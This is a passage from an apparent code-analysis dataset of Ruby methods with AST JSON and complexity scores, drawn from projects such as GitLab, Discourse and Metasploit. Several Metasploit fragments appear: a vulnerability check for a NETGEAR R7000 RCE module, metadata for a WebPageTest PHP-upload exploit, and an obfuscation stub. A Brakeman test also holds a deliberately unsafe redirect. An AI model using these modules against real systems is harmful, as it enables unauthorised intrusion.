\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"data\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_term\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_term\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"re_search_term\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_term\"]}]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"attribute_names\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"intern\"]}]},\"to_s\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"re_search_term\"]}]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}]}","id":"0f916a63-e095-4b20-9374-84ac7db54f24"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/blob.rb","start_line":30,"raw_source":"def size\n      config['size']\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"size\"]}]}]}","id":"052b5153-a0b1-4f35-861f-083f7441c5da"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/category_filter.rb","start_line":37,"raw_source":"def available?\n    project&.categories&.exists?\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"categories\"]},\"exists?\"]}]}","id":"d6bdc2e4-4985-4756-84ce-2a6d8714b67a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":1349,"raw_source":"def changed_paths\n      strong_memoize(:changed_paths) do\n        if merge_request?\n          merge_request.changed_paths\n        elsif branch_updated?\n          push_details.changed_paths\n        elsif external_pull_request?\n          external_pull_request.changed_paths\n        end\n      end\n    end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"changed_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"changed_paths\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"changed_paths\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch_updated?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_details\"]},\"changed_paths\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"external_pull_request?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"external_pull_request\"]},\"changed_paths\"]},null]}]}]}]}]}","id":"617822a0-9771-4dbe-9590-df0db907f08f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client.rb","start_line":34,"raw_source":"def self.stub(name, storage)\n      MUTEX.synchronize do\n        @stubs ||= {}\n        @stubs[storage] ||= {}\n        @stubs[storage][name] ||= begin\n          klass = stub_class(name)\n          channel = create_channel(storage)\n          klass.new(channel.target, nil, interceptors: interceptors, channel_override: channel)\n        end\n      end\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"stub\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MUTEX\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@stubs\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stubs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stubs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[null,\"stub_class\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[null,\"create_channel\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"target\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interceptors\"]},{\"type\":\"send\",\"children\":[null,\"interceptors\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel_override\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]}]}]}]}]}]}]}","id":"b72cca61-7780-46fa-93a9-215b71a9fc28"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/service_mixin.rb","start_line":30,"raw_source":"def add_resource!(rsc, options = {})\n    add_resource(rsc, options).tap { save! }\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_resource!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rsc\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_resource\",{\"type\":\"lvar\",\"children\":[\"rsc\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"save!\"]}]}]}","id":"83b72cfe-fca8-4d7f-946f-34a68c7d5ffe"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails5/app/controllers/mixed_controller.rb","start_line":25,"raw_source":"def redirect_to_strong_params\n    redirect_to params.permit(:domain) # should warn\n    redirect_to params.permit(:page, :sort) # should not warn\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_to_strong_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"sym\",\"children\":[\"sort\"]}]}]}]}]}","id":"c23b4bcf-b7c3-4575-a75f-02fa75928427"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_bundle_pruner.rb","start_line":33,"raw_source":"def test_extra_runtime_deps_paths_is_empty_for_no_config\n    assert_equal([], bundle_pruner.send(:extra_runtime_deps_paths))\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_extra_runtime_deps_paths_is_empty_for_no_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bundle_pruner\"]},\"send\",{\"type\":\"sym\",\"children\":[\"extra_runtime_deps_paths\"]}]}]}]}","id":"678d6342-5411-4f1e-a2ee-77ad5b2410b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/status/build/play.rb","start_line":12,"raw_source":"def has_action?\n            can?(user, :play_job, subject)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_action?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"sym\",\"children\":[\"play_job\"]},{\"type\":\"send\",\"children\":[null,\"subject\"]}]}]}","id":"c5f90e92-1710-4864-9a04-2dc4415f01cd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ldap/entry_cache.rb","start_line":12,"raw_source":"def <<(entry)\n          raise TypeError unless entry.is_a? Net::LDAP::Entry\n\n          self[entry.dn] = entry\n        end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"<<\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"Entry\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"dn\"]},{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]}","id":"cba593fc-480c-437d-aaea-32faa357eeab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce.rb","start_line":91,"raw_source":"def check\n    res = send_request_cgi({ 'uri' => '/' })\n    if res.nil?\n      return Exploit::CheckCode::Unknown('Connection timed out.')\n    end\n\n    # Checks for the `WWW-Authenticate` header in the response\n    if res.headers['WWW-Authenticate']\n      data = res.to_s\n      marker_one = 'Basic realm=\"NETGEAR '\n      marker_two = '\"'\n      model = scrape(data, marker_one, marker_two)\n      print_status(\"Router is a NETGEAR router (#{model})\")\n      if model == 'R7000' && check_vuln_firmware\n        return Exploit::CheckCode::Vulnerable\n      end\n\n    else\n      print_error('Router is not a NETGEAR router')\n    end\n    return Exploit::CheckCode::Safe\n  end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection timed out.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"marker_one\",{\"type\":\"str\",\"children\":[\"Basic realm=\\\"NETGEAR \"]}]},{\"type\":\"lvasgn\",\"children\":[\"marker_two\",{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[null,\"scrape\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"marker_one\"]},{\"type\":\"lvar\",\"children\":[\"marker_two\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Router is a NETGEAR router (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"==\",{\"type\":\"str\",\"children\":[\"R7000\"]}]},{\"type\":\"send\",\"children\":[null,\"check_vuln_firmware\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Router is not a NETGEAR router\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"41244033-de3b-4748-acbf-2bd14ed6f2e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/projects/ml/model_version_finder.rb","start_line":31,"raw_source":"def by_version\n        return versions unless params[:version].present?\n\n        versions.by_version(params[:version])\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"by_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"versions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"versions\"]},\"by_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]}]}]}","id":"d6f98c68-4d12-4ed0-bd0f-13d84cb635cc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/webpagetest_upload_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"WebPageTest Arbitrary PHP File Upload\",\n        'Description' => %q{\n          This module exploits a vulnerability found in WebPageTest's Upload Feature. By\n          default, the resultimage.php file does not verify the user-supplied item before\n          saving it to disk, and then places this item in the web directory accessible by\n          remote users.  This flaw can be abused to gain remote code execution.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'dun', # Discovery, PoC\n          'sinn3r' # Metasploit\n        ],\n        'References' => [\n          ['CVE', '2012-10049'],\n          ['OSVDB', '83822'],\n          ['EDB', '19790']\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\"\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread'\n        },\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          ['WebPageTest v2.6 or older', {}]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-07-13',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])\n      ]\n    )\n\n    self.needs_cleanup = true\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WebPageTest Arbitrary PHP File Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in WebPageTest's Upload Feature. By\\n\"]},{\"type\":\"str\",\"children\":[\"          default, the resultimage.php file does not verify the user-supplied item before\\n\"]},{\"type\":\"str\",\"children\":[\"          saving it to disk, and then places this item in the web directory accessible by\\n\"]},{\"type\":\"str\",\"children\":[\"          remote users.  This flaw can be abused to gain remote code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"dun\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-10049\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"83822\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"19790\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WebPageTest v2.6 or older\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-07-13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to WebPageTest\"]},{\"type\":\"str\",\"children\":[\"/www/\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"needs_cleanup=\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"6de57470-9ef4-4c3e-bb42-91ebdeda9c50"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters/discourse/steps/user_field_values.rb","start_line":30,"raw_source":"def process_item(item)\n      IntermediateDB::UserFieldValue.create(\n        created_at: item[:created_at],\n        field_id: item[:field_id],\n        user_id: item[:user_id],\n        value: item[:value],\n        is_multiselect_field: item[:is_multiselect_field],\n      )\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntermediateDB\"]},\"UserFieldValue\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"field_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"field_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_multiselect_field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"is_multiselect_field\"]}]}]}]}]}]}","id":"6e2ce975-2f3a-407e-88ef-a8b400d8e435"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/partition_manager.rb","start_line":261,"raw_source":"def schedule_detached_partition_cleanup(partition)\n          identifier = identifier(partition)\n\n          if above_threshold?(identifier)\n            Postgresql::DetachedPartition.create!(\n              table_name: partition.partition_name,\n              drop_after: RETAIN_DETACHED_PARTITIONS_FOR.from_now.next_occurring(:saturday)\n            )\n          else\n            Postgresql::DetachedPartition.create!(\n              table_name: partition.partition_name,\n              drop_after: RETAIN_DETACHED_PARTITIONS_FOR.from_now\n            )\n          end\n        end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_detached_partition_cleanup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"identifier\",{\"type\":\"send\",\"children\":[null,\"identifier\",{\"type\":\"lvar\",\"children\":[\"partition\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"above_threshold?\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Postgresql\"]},\"DetachedPartition\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"partition_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drop_after\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RETAIN_DETACHED_PARTITIONS_FOR\"]},\"from_now\"]},\"next_occurring\",{\"type\":\"sym\",\"children\":[\"saturday\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Postgresql\"]},\"DetachedPartition\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"partition_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drop_after\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RETAIN_DETACHED_PARTITIONS_FOR\"]},\"from_now\"]}]}]}]}]}]}]}","id":"f326dfff-76c1-46d2-af04-a136792ce6d0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/obfuscation/crandomizer/code_factory/if.rb","start_line":11,"raw_source":"def stub\n              [\n                Proc.new { if_stub },\n                Proc.new { if_if_else_stub },\n                Proc.new { if_else_stub }\n              ].sample.call\n            end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"stub\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"if_stub\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"if_if_else_stub\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"if_else_stub\"]}]}]},\"sample\"]},\"call\"]}]}","id":"9c01fee6-235d-42a2-a9ea-dfa1f5081a43"}
